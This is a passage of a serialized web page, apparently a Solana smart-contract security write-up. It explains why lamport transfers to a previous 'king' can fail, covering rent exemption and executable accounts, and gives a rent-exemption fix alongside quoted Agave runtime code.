RentState",{"type":23,"tag":41,"props":72675,"children":72676},{"style":170},[72677],{"type":28,"value":3479},{"type":23,"tag":41,"props":72679,"children":72680},{"style":94},[72681],{"type":28,"value":72358},{"type":23,"tag":41,"props":72683,"children":72684},{"style":170},[72685],{"type":28,"value":4271},{"type":23,"tag":41,"props":72687,"children":72688},{"style":94},[72689],{"type":28,"value":72550},{"type":23,"tag":41,"props":72691,"children":72692},{"style":170},[72693],{"type":28,"value":3479},{"type":23,"tag":41,"props":72695,"children":72696},{"style":94},[72697],{"type":28,"value":72559},{"type":23,"tag":41,"props":72699,"children":72700},{"style":170},[72701],{"type":28,"value":27752},{"type":23,"tag":41,"props":72703,"children":72704},{"style":64},[72705],{"type":28,"value":1095},{"type":23,"tag":41,"props":72707,"children":72708},{"style":70},[72709],{"type":28,"value":3506},{"type":23,"tag":41,"props":72711,"children":72712},{"class":43,"line":922},[72713,72717,72721,72725],{"type":23,"tag":41,"props":72714,"children":72715},{"style":94},[72716],{"type":28,"value":72673},{"type":23,"tag":41,"props":72718,"children":72719},{"style":170},[72720],{"type":28,"value":3479},{"type":23,"tag":41,"props":72722,"children":72723},{"style":94},[72724],{"type":28,"value":72587},{"type":23,"tag":41,"props":72726,"children":72727},{"style":70},[72728],{"type":28,"value":102},{"type":23,"tag":41,"props":72730,"children":72731},{"class":43,"line":930},[72732,72737,72741,72746],{"type":23,"tag":41,"props":72733,"children":72734},{"style":858},[72735],{"type":28,"value":72736},"                        data_size",{"type":23,"tag":41,"props":72738,"children":72739},{"style":170},[72740],{"type":28,"value":1474},{"type":23,"tag":41,"props":72742,"children":72743},{"style":858},[72744],{"type":28,"value":72745}," pre_data_size",{"type":23,"tag":41,"props":72747,"children":72748},{"style":70},[72749],{"type":28,"value":3506},{"type":23,"tag":41,"props":72751,"children":72752},{"class":43,"line":939},[72753,72758,72762,72767],{"type":23,"tag":41,"props":72754,"children":72755},{"style":858},[72756],{"type":28,"value":72757},"                        lamports",{"type":23,"tag":41,"props":72759,"children":72760},{"style":170},[72761],{"type":28,"value":1474},{"type":23,"tag":41,"props":72763,"children":72764},{"style":858},[72765],{"type":28,"value":72766}," pre_lamports",{"type":23,"tag":41,"props":72768,"children":72769},{"style":70},[72770],{"type":28,"value":3506},{"type":23,"tag":41,"props":72772,"children":72773},{"class":43,"line":947},[72774,72779,72783],{"type":23,"tag":41,"props":72775,"children":72776},{"style":70},[72777],{"type":28,"value":72778},"                    } ",{"type":23,"tag":41,"props":72780,"children":72781},{"style":170},[72782],{"type":28,"value":14813},{"type":23,"tag":41,"props":72784,"children":72785},{"style":70},[72786],{"type":28,"value":102},{"type":23,"tag":41,"props":72788,"children":72789},{"class":43,"line":985},[72790],{"type":23,"tag":41,"props":72791,"children":72792},{"style":48},[72793],{"type":28,"value":72794},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":41,"props":72796,"children":72797},{"class":43,"line":1058},[72798,72803,72807,72811,72815,72819,72823],{"type":23,"tag":41,"props":72799,"children":72800},{"style":858},[72801],{"type":28,"value":72802},"                        post_data_size",{"type":23,"tag":41,"props":72804,"children":72805},{"style":170},[72806],{"type":28,"value":3282},{"type":23,"tag":41,"props":72808,"children":72809},{"style":858},[72810],{"type":28,"value":72745},{"type":23,"tag":41,"props":72812,"children":72813},{"style":170},[72814],{"type":28,"value":2472},{"type":23,"tag":41,"props":72816,"children":72817},{"style":858},[72818],{"type":28,"value":72629},{"type":23,"tag":41,"props":72820,"children":72821},{"style":170},[72822],{"type":28,"value":8196},{"type":23,"tag":41,"props":72824,"children":72825},{"style":858},[72826],{"type":28,"value":72827}," pre_lamports\n",{"type":23,"tag":41,"props":72829,"children":72830},{"class":43,"line":1084},[72831],{"type":23,"tag":41,"props":72832,"children":72833},{"style":70},[72834],{"type":28,"value":71058},{"type":23,"tag":41,"props":72836,"children":72837},{"class":43,"line":1102},[72838],{"type":23,"tag":41,"props":72839,"children":72840},{"style":70},[72841],{"type":28,"value":71066},{"type":23,"tag":41,"props":72843,"children":72844},{"class":43,"line":1110},[72845],{"type":23,"tag":41,"props":72846,"children":72847},{"style":70},[72848],{"type":28,"value":58881},{"type":23,"tag":41,"props":72850,"children":72851},{"class":43,"line":1118},[72852],{"type":23,"tag":41,"props":72853,"children":72854},{"style":70},[72855],{"type":28,"value":3347},{"type":23,"tag":41,"props":72857,"children":72858},{"class":43,"line":1137},[72859],{"type":23,"tag":41,"props":72860,"children":72861},{"style":70},[72862],{"type":28,"value":192},{"type":23,"tag":24,"props":72864,"children":72865},{},[72866],{"type":28,"value":72867},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":31,"props":72869,"children":72871},{"className":1206,"code":72870,"language":1205,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[72872],{"type":23,"tag":37,"props":72873,"children":72874},{"__ignoreMap":7},[72875,72891],{"type":23,"tag":41,"props":72876,"children":72877},{"class":43,"line":44},[72878,72882,72887],{"type":23,"tag":41,"props":72879,"children":72880},{"style":114},[72881],{"type":28,"value":2881},{"type":23,"tag":41,"props":72883,"children":72884},{"style":735},[72885],{"type":28,"value":72886}," rent",{"type":23,"tag":41,"props":72888,"children":72889},{"style":164},[72890],{"type":28,"value":24277},{"type":23,"tag":41,"props":72892,"children":72893},{"class":43,"line":54},[72894,72899,72904,72909],{"type":23,"tag":41,"props":72895,"children":72896},{"style":114},[72897],{"type":28,"value":72898},"Rent-exempt",{"type":23,"tag":41,"props":72900,"children":72901},{"style":735},[72902],{"type":28,"value":72903}," minimum:",{"type":23,"tag":41,"props":72905,"children":72906},{"style":164},[72907],{"type":28,"value":72908}," 0.00089088",{"type":23,"tag":41,"props":72910,"children":72911},{"style":735},[72912],{"type":28,"value":72913}," SOL\n",{"type":23,"tag":18881,"props":72915,"children":72917},{"id":72916},"fix-1-only-reimburse-if-rent-exempt",[72918],{"type":28,"value":72919},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":24,"props":72921,"children":72922},{},[72923],{"type":28,"value":72924},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":31,"props":72926,"children":72928},{"className":2215,"code":72927,"language":2214,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[72929],{"type":23,"tag":37,"props":72930,"children":72931},{"__ignoreMap":7},[72932,72940,72948,72956,72964,72972,72980,72988,72996,73004],{"type":23,"tag":41,"props":72933,"children":72934},{"class":43,"line":44},[72935],{"type":23,"tag":41,"props":72936,"children":72937},{"style":70},[72938],{"type":28,"value":72939},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":41,"props":72941,"children":72942},{"class":43,"line":54},[72943],{"type":23,"tag":41,"props":72944,"children":72945},{"style":164},[72946],{"type":28,"value":72947},"+let rent = Rent::get()?;\n",{"type":23,"tag":41,"props":72949,"children":72950},{"class":43,"line":76},[72951],{"type":23,"tag":41,"props":72952,"children":72953},{"style":164},[72954],{"type":28,"value":72955},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":41,"props":72957,"children":72958},{"class":43,"line":85},[72959],{"type":23,"tag":41,"props":72960,"children":72961},{"style":164},[72962],{"type":28,"value":72963},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":41,"props":72965,"children":72966},{"class":43,"line":105},[72967],{"type":23,"tag":41,"props":72968,"children":72969},{"style":70},[72970],{"type":28,"value":72971},"    transfer_from_pda(\n",{"type":23,"tag":41,"props":72973,"children":72974},{"class":43,"line":155},[72975],{"type":23,"tag":41,"props":72976,"children":72977},{"style":70},[72978],{"type":28,"value":72979},"        &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":41,"props":72981,"children":72982},{"class":43,"line":186},[72983],{"type":23,"tag":41,"props":72984,"children":72985},{"style":70},[72986],{"type":28,"value":72987},"        &ctx.accounts.old_king,\n",{"type":23,"tag":41,"props":72989,"children":72990},{"class":43,"line":195},[72991],{"type":23,"tag":41,"props":72992,"children":72993},{"style":70},[72994],{"type":28,"value":72995},"        to_reimburse,\n",{"type":23,"tag":41,"props":72997,"children":72998},{"class":43,"line":905},[72999],{"type":23,"tag":41,"props":73000,"children":73001},{"style":70},[73002],{"type":28,"value":73003},"    )?;\n",{"type":23,"tag":41,"props":73005,"children":73006},{"class":43,"line":922},[73007],{"type":23,"tag":41,"props":73008,"children":73009},{"style":164},[73010],{"type":28,"value":73011},"+}\n",{"type":23,"tag":24,"props":73013,"children":73014},{},[73015],{"type":28,"value":73016},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":546,"props":73018,"children":73020},{"id":73019},"bug-2-writable-but-untouchable-set_lamports-fails",[73021,73023,73029],{"type":28,"value":73022},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":37,"props":73024,"children":73026},{"className":73025},[],[73027],{"type":28,"value":73028},"set_lamports",{"type":28,"value":73030}," Fails",{"type":23,"tag":24,"props":73032,"children":73033},{},[73034,73036,73043],{"type":28,"value":73035},"Let's look at ",{"type":23,"tag":458,"props":73037,"children":73040},{"href":73038,"rel":73039},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[462],[73041],{"type":28,"value":73042},"BorrowedAccount::set_lamports",{"type":28,"value":706},{"type":23,"tag":31,"props":73045,"children":73047},{"className":2982,"code":73046,"language":2981,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[73048],{"type":23,"tag":37,"props":73049,"children":73050},{"__ignoreMap":7},[73051,73059,73080,73152,73160,73218,73250,73257,73265,73293,73325,73332,73340,73364,73396,73403,73411,73446,73462,73469,73497,73532,73543,73550,73557,73565,73584,73592,73632,73644,73656,73668,73699],{"type":23,"tag":41,"props":73052,"children":73053},{"class":43,"line":44},[73054],{"type":23,"tag":41,"props":73055,"children":73056},{"style":48},[73057],{"type":28,"value":73058},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":41,"props":73060,"children":73061},{"class":43,"line":54},[73062,73067,73071,73076],{"type":23,"tag":41,"props":73063,"children":73064},{"style":70},[73065],{"type":28,"value":73066},"#[cfg(not(target_os ",{"type":23,"tag":41,"props":73068,"children":73069},{"style":170},[73070],{"type":28,"value":2381},{"type":23,"tag":41,"props":73072,"children":73073},{"style":735},[73074],{"type":28,"value":73075}," \"solana\"",{"type":23,"tag":41,"props":73077,"children":73078},{"style":70},[73079],{"type":28,"value":20596},{"type":23,"tag":41,"props":73081,"children":73082},{"class":43,"line":76},[73083,73087,73091,73096,73100,73104,73108,73112,73116,73120,73124,73128,73132,73136,73140,73144,73148],{"type":23,"tag":41,"props":73084,"children":73085},{"style":64},[73086],{"type":28,"value":13685},{"type":23,"tag":41,"props":73088,"children":73089},{"style":64},[73090],{"type":28,"value":13690},{"type":23,"tag":41,"props":73092,"children":73093},{"style":114},[73094],{"type":28,"value":73095}," set_lamports",{"type":23,"tag":41,"props":73097,"children":73098},{"style":70},[73099],{"type":28,"value":1737},{"type":23,"tag":41,"props":73101,"children":73102},{"style":170},[73103],{"type":28,"value":855},{"type":23,"tag":41,"props":73105,"children":73106},{"style":64},[73107],{"type":28,"value":3723},{"type":23,"tag":41,"props":73109,"children":73110},{"style":64},[73111],{"type":28,"value":13791},{"type":23,"tag":41,"props":73113,"children":73114},{"style":70},[73115],{"type":28,"value":970},{"type":23,"tag":41,"props":73117,"children":73118},{"style":858},[73119],{"type":28,"value":15503},{"type":23,"tag":41,"props":73121,"children":73122},{"style":170},[73123],{"type":28,"value":1474},{"type":23,"tag":41,"props":73125,"children":73126},{"style":94},[73127],{"type":28,"value":5860},{"type":23,"tag":41,"props":73129,"children":73130},{"style":70},[73131],{"type":28,"value":866},{"type":23,"tag":41,"props":73133,"children":73134},{"style":170},[73135],{"type":28,"value":2453},{"type":23,"tag":41,"props":73137,"children":73138},{"style":94},[73139],{"type":28,"value":13756},{"type":23,"tag":41,"props":73141,"children":73142},{"style":70},[73143],{"type":28,"value":13761},{"type":23,"tag":41,"props":73145,"children":73146},{"style":94},[73147],{"type":28,"value":15747},{"type":23,"tag":41,"props":73149,"children":73150},{"style":70},[73151],{"type":28,"value":7280},{"type":23,"tag":41,"props":73153,"children":73154},{"class":43,"line":85},[73155],{"type":23,"tag":41,"props":73156,"children":73157},{"style":48},[73158],{"type":28,"value":73159},"    // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":41,"props":73161,"children":73162},{"class":43,"line":105},[73163,73167,73171,73175,73179,73184,73188,73192,73197,73201,73205,73209,73214],{"type":23,"tag":41,"props":73164,"children":73165},{"style":58},[73166],{"type":28,"value":2440},{"type":23,"tag":41,"props":73168,"children":73169},{"style":170},[73170],{"type":28,"value":12859},{"type":23,"tag":41,"props":73172,"children":73173},{"style":64},[73174],{"type":28,"value":13708},{"type":23,"tag":41,"props":73176,"children":73177},{"style":170},[73178],{"type":28,"value":706},{"type":23,"tag":41,"props":73180,"children":73181},{"style":114},[73182],{"type":28,"value":73183},"is_owned_by_current_program",{"type":23,"tag":41,"props":73185,"children":73186},{"style":70},[73187],{"type":28,"value":122},{"type":23,"tag":41,"props":73189,"children":73190},{"style":170},[73191],{"type":28,"value":1751},{"type":23,"tag":41,"props":73193,"children":73194},{"style":858},[73195],{"type":28,"value":73196}," lamports",{"type":23,"tag":41,"props":73198,"children":73199},{"style":170},[73200],{"type":28,"value":758},{"type":23,"tag":41,"props":73202,"children":73203},{"style":64},[73204],{"type":28,"value":13791},{"type":23,"tag":41,"props":73206,"children":73207},{"style":170},[73208],{"type":28,"value":706},{"type":23,"tag":41,"props":73210,"children":73211},{"style":114},[73212],{"type":28,"value":73213},"get_lamports",{"type":23,"tag":41,"props":73215,"children":73216},{"style":70},[73217],{"type":28,"value":1134},{"type":23,"tag":41,"props":73219,"children":73220},{"class":43,"line":155},[73221,73225,73229,73233,73237,73241,73246],{"type":23,"tag":41,"props":73222,"children":73223},{"style":58},[73224],{"type":28,"value":161},{"type":23,"tag":41,"props":73226,"children":73227},{"style":94},[73228],{"type":28,"value":15738},{"type":23,"tag":41,"props":73230,"children":73231},{"style":70},[73232],{"type":28,"value":1737},{"type":23,"tag":41,"props":73234,"children":73235},{"style":94},[73236],{"type":28,"value":15747},{"type":23,"tag":41,"props":73238,"children":73239},{"style":170},[73240],{"type":28,"value":3479},{"type":23,"tag":41,"props":73242,"children":73243},{"style":94},[73244],{"type":28,"value":73245},"ExternalAccountLamportSpend",{"type":23,"tag":41,"props":73247,"children":73248},{"style":70},[73249],{"type":28,"value":3825},{"type":23,"tag":41,"props":73251,"children":73252},{"class":43,"line":186},[73253],{"type":23,"tag":41,"props":73254,"children":73255},{"style":70},[73256],{"type":28,"value":192},{"type":23,"tag":41,"props":73258,"children":73259},{"class":43,"line":195},[73260],{"type":23,"tag":41,"props":73261,"children":73262},{"style":48},[73263],{"type":28,"value":73264},"    // The balance of read-only may not change\n",{"type":23,"tag":41,"props":73266,"children":73267},{"class":43,"line":905},[73268,73272,73276,73280,73284,73289],{"type":23,"tag":41,"props":73269,"children":73270},{"style":58},[73271],{"type":28,"value":2440},{"type":23,"tag":41,"props":73273,"children":73274},{"style":170},[73275],{"type":28,"value":12859},{"type":23,"tag":41,"props":73277,"children":73278},{"style":64},[73279],{"type":28,"value":13708},{"type":23,"tag":41,"props":73281,"children":73282},{"style":170},[73283],{"type":28,"value":706},{"type":23,"tag":41,"props":73285,"children":73286},{"style":114},[73287],{"type":28,"value":73288},"is_writable",{"type":23,"tag":41,"props":73290,"children":73291},{"style":70},[73292],{"type":28,"value":1134},{"type":23,"tag":41,"props":73294,"children":73295},{"class":43,"line":922},[73296,73300,73304,73308,73312,73316,73321],{"type":23,"tag":41,"props":73297,"children":73298},{"style":58},[73299],{"type":28,"value":161},{"type":23,"tag":41,"props":73301,"children":73302},{"style":94},[73303],{"type":28,"value":15738},{"type":23,"tag":41,"props":73305,"children":73306},{"style":70},[73307],{"type":28,"value":1737},{"type":23,"tag":41,"props":73309,"children":73310},{"style":94},[73311],{"type":28,"value":15747},{"type":23,"tag":41,"props":73313,"children":73314},{"style":170},[73315],{"type":28,"value":3479},{"type":23,"tag":41,"props":73317,"children":73318},{"style":94},[73319],{"type":28,"value":73320},"ReadonlyLamportChange",{"type":23,"tag":41,"props":73322,"children":73323},{"style":70},[73324],{"type":28,"value":3825},{"type":23,"tag":41,"props":73326,"children":73327},{"class":43,"line":930},[73328],{"type":23,"tag":41,"props":73329,"children":73330},{"style":70},[73331],{"type":28,"value":192},{"type":23,"tag":41,"props":73333,"children":73334},{"class":43,"line":939},[73335],{"type":23,"tag":41,"props":73336,"children":73337},{"style":48},[73338],{"type":28,"value":73339},"    // The balance of executable accounts may not change\n",{"type":23,"tag":41,"props":73341,"children":73342},{"class":43,"line":947},[73343,73347,73351,73355,73360],{"type":23,"tag":41,"props":73344,"children":73345},{"style":58},[73346],{"type":28,"value":2440},{"type":23,"tag":41,"props":73348,"children":73349},{"style":64},[73350],{"type":28,"value":13791},{"type":23,"tag":41,"props":73352,"children":73353},{"style":170},[73354],{"type":28,"value":706},{"type":23,"tag":41,"props":73356,"children":73357},{"style":114},[73358],{"type":28,"value":73359},"is_executable_internal",{"type":23,"tag":41,"props":73361,"children":73362},{"style":70},[73363],{"type":28,"value":1134},{"type":23,"tag":41,"props":73365,"children":73366},{"class":43,"line":985},[73367,73371,73375,73379,73383,73387,73392],{"type":23,"tag":41,"props":73368,"children":73369},{"style":58},[73370],{"type":28,"value":161},{"type":23,"tag":41,"props":73372,"children":73373},{"style":94},[73374],{"type":28,"value":15738},{"type":23,"tag":41,"props":73376,"children":73377},{"style":70},[73378],{"type":28,"value":1737},{"type":23,"tag":41,"props":73380,"children":73381},{"style":94},[73382],{"type":28,"value":15747},{"type":23,"tag":41,"props":73384,"children":73385},{"style":170},[73386],{"type":28,"value":3479},{"type":23,"tag":41,"props":73388,"children":73389},{"style":94},[73390],{"type":28,"value":73391},"ExecutableLamportChange",{"type":23,"tag":41,"props":73393,"children":73394},{"style":70},[73395],{"type":28,"value":3825},{"type":23,"tag":41,"props":73397,"children":73398},{"class":43,"line":1058},[73399],{"type":23,"tag":41,"props":73400,"children":73401},{"style":70},[73402],{"type":28,"value":192},{"type":23,"tag":41,"props":73404,"children":73405},{"class":43,"line":1084},[73406],{"type":23,"tag":41,"props":73407,"children":73408},{"style":48},[73409],{"type":28,"value":73410},"    // don't touch the account if the lamports do not change\n",{"type":23,"tag":41,"props":73412,"children":73413},{"class":43,"line":1102},[73414,73418,73422,73426,73430,73434,73438,73442],{"type":23,"tag":41,"props":73415,"children":73416},{"style":58},[73417],{"type":28,"value":2440},{"type":23,"tag":41,"props":73419,"children":73420},{"style":64},[73421],{"type":28,"value":13791},{"type":23,"tag":41,"props":73423,"children":73424},{"style":170},[73425],{"type":28,"value":706},{"type":23,"tag":41,"props":73427,"children":73428},{"style":114},[73429],{"type":28,"value":73213},{"type":23,"tag":41,"props":73431,"children":73432},{"style":70},[73433],{"type":28,"value":122},{"type":23,"tag":41,"props":73435,"children":73436},{"style":170},[73437],{"type":28,"value":387},{"type":23,"tag":41,"props":73439,"children":73440},{"style":858},[73441],{"type":28,"value":73196},{"type":23,"tag":41,"props":73443,"children":73444},{"style":70},[73445],{"type":28,"value":102},{"type":23,"tag":41,"props":73447,"children":73448},{"class":43,"line":1110},[73449,73453,73457],{"type":23,"tag":41,"props":73450,"children":73451},{"style":58},[73452],{"type":28,"value":161},{"type":23,"tag":41,"props":73454,"children":73455},{"style":94},[73456],{"type":28,"value":42928},{"type":23,"tag":41,"props":73458,"children":73459},{"style":70},[73460],{"type":28,"value":73461},"(());\n",{"type":23,"tag":41,"props":73463,"children":73464},{"class":43,"line":1118},[73465],{"type":23,"tag":41,"props":73466,"children":73467},{"style":70},[73468],{"type":28,"value":192},{"type":23,"tag":41,"props":73470,"children":73471},{"class":43,"line":1137},[73472,73476,73480,73485,73489,73493],{"type":23,"tag":41,"props":73473,"children":73474},{"style":64},[73475],{"type":28,"value":20773},{"type":23,"tag":41,"props":73477,"children":73478},{"style":170},[73479],{"type":28,"value":706},{"type":23,"tag":41,"props":73481,"children":73482},{"style":114},[73483],{"type":28,"value":73484},"touch",{"type":23,"tag":41,"props":73486,"children":73487},{"style":70},[73488],{"type":28,"value":13873},{"type":23,"tag":41,"props":73490,"children":73491},{"style":170},[73492],{"type":28,"value":3155},{"type":23,"tag":41,"props":73494,"children":73495},{"style":70},[73496],{"type":28,"value":183},{"type":23,"tag":41,"props":73498,"children":73499},{"class":43,"line":1163},[73500,73504,73508,73512,73516,73520,73524,73528],{"type":23,"tag":41,"props":73501,"children":73502},{"style":64},[73503],{"type":28,"value":20773},{"type":23,"tag":41,"props":73505,"children":73506},{"style":170},[73507],{"type":28,"value":706},{"type":23,"tag":41,"props":73509,"children":73510},{"style":70},[73511],{"type":28,"value":12948},{"type":23,"tag":41,"props":73513,"children":73514},{"style":170},[73515],{"type":28,"value":706},{"type":23,"tag":41,"props":73517,"children":73518},{"style":114},[73519],{"type":28,"value":73028},{"type":23,"tag":41,"props":73521,"children":73522},{"style":70},[73523],{"type":28,"value":1737},{"type":23,"tag":41,"props":73525,"children":73526},{"style":858},[73527],{"type":28,"value":15503},{"type":23,"tag":41,"props":73529,"children":73530},{"style":70},[73531],{"type":28,"value":3825},{"type":23,"tag":41,"props":73533,"children":73534},{"class":43,"line":1188},[73535,73539],{"type":23,"tag":41,"props":73536,"children":73537},{"style":94},[73538],{"type":28,"value":14325},{"type":23,"tag":41,"props":73540,"children":73541},{"style":70},[73542],{"type":28,"value":14330},{"type":23,"tag":41,"props":73544,"children":73545},{"class":43,"line":1979},[73546],{"type":23,"tag":41,"props":73547,"children":73548},{"style":70},[73549],{"type":28,"value":201},{"type":23,"tag":41,"props":73551,"children":73552},{"class":43,"line":2002},[73553],{"type":23,"tag":41,"props":73554,"children":73555},{"emptyLinePlaceholder":18},[73556],{"type":28,"value":82},{"type":23,"tag":41,"props":73558,"children":73559},{"class":43,"line":3835},[73560],{"type":23,"tag":41,"props":73561,"children":73562},{"style":48},[73563],{"type":28,"value":73564},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":41,"props":73566,"children":73567},{"class":43,"line":3895},[73568,73572,73576,73580],{"type":23,"tag":41,"props":73569,"children":73570},{"style":70},[73571],{"type":28,"value":73066},{"type":23,"tag":41,"props":73573,"children":73574},{"style":170},[73575],{"type":28,"value":2381},{"type":23,"tag":41,"props":73577,"children":73578},{"style":735},[73579],{"type":28,"value":73075},{"type":23,"tag":41,"props":73581,"children":73582},{"style":70},[73583],{"type":28,"value":20596},{"type":23,"tag":41,"props":73585,"children":73586},{"class":43,"line":9044},[73587],{"type":23,"tag":41,"props":73588,"children":73589},{"style":70},[73590],{"type":28,"value":73591},"#[inline]\n",{"type":23,"tag":41,"props":73593,"children":73594},{"class":43,"line":9061},[73595,73599,73604,73608,73612,73616,73620,73624,73628],{"type":23,"tag":41,"props":73596,"children":73597},{"style":64},[73598],{"type":28,"value":20255},{"type":23,"tag":41,"props":73600,"children":73601},{"style":114},[73602],{"type":28,"value":73603}," is_executable_internal",{"type":23,"tag":41,"props":73605,"children":73606},{"style":70},[73607],{"type":28,"value":1737},{"type":23,"tag":41,"props":73609,"children":73610},{"style":170},[73611],{"type":28,"value":855},{"type":23,"tag":41,"props":73613,"children":73614},{"style":64},[73615],{"type":28,"value":13708},{"type":23,"tag":41,"props":73617,"children":73618},{"style":70},[73619],{"type":28,"value":866},{"type":23,"tag":41,"props":73621,"children":73622},{"style":170},[73623],{"type":28,"value":2453},{"type":23,"tag":41,"props":73625,"children":73626},{"style":94},[73627],{"type":28,"value":12047},{"type":23,"tag":41,"props":73629,"children":73630},{"style":70},[73631],{"type":28,"value":102},{"type":23,"tag":41,"props":73633,"children":73634},{"class":43,"line":9106},[73635,73639],{"type":23,"tag":41,"props":73636,"children":73637},{"style":170},[73638],{"type":28,"value":20957},{"type":23,"tag":41,"props":73640,"children":73641},{"style":64},[73642],{"type":28,"value":73643},"self\n",{"type":23,"tag":41,"props":73645,"children":73646},{"class":43,"line":9212},[73647,73651],{"type":23,"tag":41,"props":73648,"children":73649},{"style":170},[73650],{"type":28,"value":68255},{"type":23,"tag":41,"props":73652,"children":73653},{"style":70},[73654],{"type":28,"value":73655},"transaction_context\n",{"type":23,"tag":41,"props":73657,"children":73658},{"class":43,"line":23496},[73659,73663],{"type":23,"tag":41,"props":73660,"children":73661},{"style":170},[73662],{"type":28,"value":68255},{"type":23,"tag":41,"props":73664,"children":73665},{"style":70},[73666],{"type":28,"value":73667},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":41,"props":73669,"children":73670},{"class":43,"line":23531},[73671,73675,73679,73683,73687,73691,73695],{"type":23,"tag":41,"props":73672,"children":73673},{"style":170},[73674],{"type":28,"value":42792},{"type":23,"tag":41,"props":73676,"children":73677},{"style":64},[73678],{"type":28,"value":13791},{"type":23,"tag":41,"props":73680,"children":73681},{"style":170},[73682],{"type":28,"value":706},{"type":23,"tag":41,"props":73684,"children":73685},{"style":70},[73686],{"type":28,"value":12948},{"type":23,"tag":41,"props":73688,"children":73689},{"style":170},[73690],{"type":28,"value":706},{"type":23,"tag":41,"props":73692,"children":73693},{"style":114},[73694],{"type":28,"value":15646},{"type":23,"tag":41,"props":73696,"children":73697},{"style":70},[73698],{"type":28,"value":7735},{"type":23,"tag":41,"props":73700,"children":73701},{"class":43,"line":23539},[73702],{"type":23,"tag":41,"props":73703,"children":73704},{"style":70},[73705],{"type":28,"value":201},{"type":23,"tag":24,"props":73707,"children":73708},{},[73709],{"type":28,"value":73710},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":24,"props":73712,"children":73713},{},[73714,73716,73721],{"type":28,"value":73715},"Specifically, ",{"type":23,"tag":510,"props":73717,"children":73718},{},[73719],{"type":28,"value":73720},"executable accounts",{"type":28,"value":73722}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":18881,"props":73724,"children":73726},{"id":73725},"sidebar-whats-the-executable-flag-anyway",[73727],{"type":28,"value":73728},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":24,"props":73730,"children":73731},{},[73732,73733,73738],{"type":28,"value":16601},{"type":23,"tag":37,"props":73734,"children":73736},{"className":73735},[],[73737],{"type":28,"value":15646},{"type":28,"value":73739}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":24,"props":73741,"children":73742},{},[73743,73745,73750],{"type":28,"value":73744},"This behavior became problematic with the introduction of the ",{"type":23,"tag":510,"props":73746,"children":73747},{},[73748],{"type":28,"value":73749},"Upgradeable BPF Loader",{"type":28,"value":73751},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":31,"props":73753,"children":73755},{"className":2982,"code":73754,"language":2981,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[73756],{"type":23,"tag":37,"props":73757,"children":73758},{"__ignoreMap":7},[73759,73771,73779,73799,73807,73819,73827,73847,73855,73883,73891,73899],{"type":23,"tag":41,"props":73760,"children":73761},{"class":43,"line":44},[73762,73767],{"type":23,"tag":41,"props":73763,"children":73764},{"style":94},[73765],{"type":28,"value":73766},"Program",{"type":23,"tag":41,"props":73768,"children":73769},{"style":70},[73770],{"type":28,"value":102},{"type":23,"tag":41,"props":73772,"children":73773},{"class":43,"line":54},[73774],{"type":23,"tag":41,"props":73775,"children":73776},{"style":48},[73777],{"type":28,"value":73778},"    /// Address of the ProgramData account.\n",{"type":23,"tag":41,"props":73780,"children":73781},{"class":43,"line":76},[73782,73787,73791,73795],{"type":23,"tag":41,"props":73783,"children":73784},{"style":858},[73785],{"type":28,"value":73786},"    